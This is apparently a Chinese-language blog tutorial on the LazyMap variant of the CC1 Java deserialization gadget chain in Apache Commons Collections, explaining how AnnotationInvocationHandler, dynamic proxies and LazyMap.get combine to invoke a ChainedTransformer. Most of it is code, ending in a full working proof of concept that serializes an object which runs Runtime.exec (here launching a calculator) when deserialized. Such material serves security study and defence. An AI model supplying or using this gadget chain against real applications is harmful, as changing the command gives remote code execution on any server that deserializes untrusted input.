之前的CC1链是利用TransformedMap的checkSetValue方法来调用ChainedTransformer.transform
而另一种写法是利用LazyMap.get方法走动态代理来调用ChainedTransformer.transform
寻找
我们看一下LazyMap类里的get方法
1 2 3 4 5 6 7 8
| public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
|
而这里的factory
1
| protected final Transformer factory;
|
是可以传的,也就是说到时候我们把factory的值传成ChainedTransformer,然后走进那个if里面就可以。
还是在AnnotationInvocationHandler类里的invoke方法:
1 2 3 4 5
| public Object invoke(Object var1, Method var2, Object[] var3) { ………… Object var6 = this.memberValues.get(var4); ………… }
|
而这里的memberValues我们可以控制,所以我们只需要动态代理这个类,然后随便调用其中一个方法,就会触发invoke。然后因为AnnotationInvocationHandler的readObject可以接受一个map,就让它代理一个map
这就是整条链的思路:
构造
我们详细来看看invoke方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { switch (var4) { case "toString": return this.toStringImpl(); case "hashCode": return this.hashCodeImpl(); case "annotationType": return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); }
return var6; } } } }
|
也就是说,我们需要调用memberValues无参构造。
巧合的是,AnnotationInvocationHandler的readObject方法里的memberValues就是无参方法。
看一下lazymap的decorate方法:
1 2 3
| public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
|
那map还是放之前的hashmap,Transformer就放chainedTransformer:
1 2
| HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
|
动态代理一个map:
1 2 3 4 5 6
| Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); constructorhandler.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructorhandler.newInstance(Override.class,lazyMap);
Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
|
最后把这个代理给AnnotationInvocationHandler的readObject
1
| Object obj = constructorhandler.newInstance(Override.class,proxyedMap);
|
最终poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CC1_other { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); constructorhandler.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructorhandler.newInstance(Override.class,lazyMap);
Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object obj = constructorhandler.newInstance(Override.class,proxyedMap);
serialize(obj); }
public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize")); oos.writeObject(obj); } }
|